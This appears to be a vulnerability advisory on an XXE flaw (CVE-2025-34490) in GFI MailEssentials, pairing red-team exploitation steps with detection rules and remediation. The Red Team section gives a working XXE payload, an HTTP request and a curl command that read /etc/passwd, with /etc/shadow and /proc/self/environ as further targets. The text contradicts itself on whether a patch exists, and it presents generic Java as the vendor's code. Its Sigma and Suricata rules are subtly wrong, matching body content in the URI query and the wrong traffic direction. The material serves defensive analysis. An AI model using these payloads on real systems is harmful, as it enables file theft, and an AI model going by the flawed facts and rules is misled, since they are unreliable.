CVE-2025-34490

Executive Summary

CVE-2025-34490 is an XML External Entity (XXE) vulnerability in GFI MailEssentials prior to version 21.8. An authenticated remote attacker can send specially crafted HTTP requests to exploit the XXE flaw, allowing them to read arbitrary system files from the server. This can lead to the disclosure of sensitive configuration files, credentials, and other critical data. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). GFI MailEssentials is a proprietary email security product. The risk is limited to the vendor's software supply chain and does not affect the broader open-source ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is Medium due to the requirement for authentication and the limited impact (only confidentiality). However, the ability to read arbitrary system files can lead to severe data breaches if sensitive files (e.g., private keys, database credentials) are exposed.

Deep Dive & Mechanics

The vulnerability resides in the XML parsing functionality of GFI MailEssentials. The application processes XML data from authenticated HTTP requests without properly disabling external entity resolution. An attacker can craft an XML payload containing an external entity that references a local file path. When the XML parser processes the entity, it reads the file content and includes it in the response or error message.

Example vulnerable XML payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

The attacker sends this payload via an authenticated HTTP request to a vulnerable endpoint. The server's XML parser resolves the &xxe; entity, reads /etc/passwd, and returns its contents to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (GFI MailEssentials < 21.8): The application uses a default XML parser configuration that allows external entities. For example, in Java:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patched Code (GFI MailEssentials 21.8+): The parser must be configured to disable external entity processing:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a GFI MailEssentials instance (version < 21.8)
• Valid authentication credentials (low-privileged user)

Exploitation Steps:

1. Identify an endpoint that processes XML data (e.g., /api/import, /soap).
2. Craft an HTTP request with a malicious XML payload:

   POST /api/import HTTP/1.1
   Host: target-mailserver.local
   Content-Type: application/xml
   Authorization: Basic <base64-credentials>
   
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

3. Send the request using curl:

   curl -X POST -u "user:pass" -H "Content-Type: application/xml" -d @payload.xml http://target-mailserver.local/api/import
   

4. The response will contain the contents of /etc/passwd.

Alternative file targets:

• file:///c:/windows/win.ini (Windows)
• file:///etc/shadow (Linux)
• file:///proc/self/environ (environment variables)

Blue Team

Detection:

• Monitor for HTTP requests with Content-Type: application/xml containing <!DOCTYPE or SYSTEM keywords.
• Look for outbound connections from the mail server to unexpected IPs (if XXE is used for SSRF).
• Check for error messages containing file paths or system file contents.

Hunting:

• Search logs for XML payloads with external entities.
• Use the following Sigma rule to detect XXE attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Content-Type: application/xml and <!DOCTYPE in the body.
• File: Unexpected reads of sensitive files (e.g., /etc/passwd, /etc/shadow, win.ini).
• Logs: XML parsing errors containing file paths or system file contents.
• Process: XML parser processes (e.g., java, python) reading files outside expected directories.

Detection Engineering

YARA Rule

rule CVE_2025_34490_XXE_Detection {
    meta:
        description = "Detects XXE payloads targeting GFI MailEssentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34490"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s+\[/
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']file:\/\//
        $entity_public = /<!ENTITY\s+\w+\s+PUBLIC\s+["'].*?["']\s+["']file:\/\//
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-34490 XXE Attempt in GFI MailEssentials
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XXE payloads targeting GFI MailEssentials
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - 'SYSTEM'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate XML processing with external DTDs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34490 XXE Attempt in GFI MailEssentials"; flow:to_server,established; content:"POST"; http_method; content:"application/xml"; http_content_type; content:"<!DOCTYPE"; within:100; content:"SYSTEM"; within:200; content:"file://"; within:300; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to GFI MailEssentials version 21.8 or later as soon as a patch is released.
2. Disable XML external entity processing in the application configuration if possible.
3. Restrict network access to the mail server to trusted IPs only.
4. Monitor logs for XXE attempts and block suspicious IPs.

Long-term Measures:

• Implement a Web Application Firewall (WAF) rule to block XML payloads containing <!DOCTYPE or SYSTEM.
• Conduct a security audit of all XML parsing endpoints.
• Enforce the principle of least privilege for authenticated users.

Workaround (if patching is not possible):

• Remove or disable the vulnerable XML processing endpoint.
• Use a reverse proxy to inspect and sanitize XML requests.

Valters IT
DevSecOps & Cyber Threat Intelligence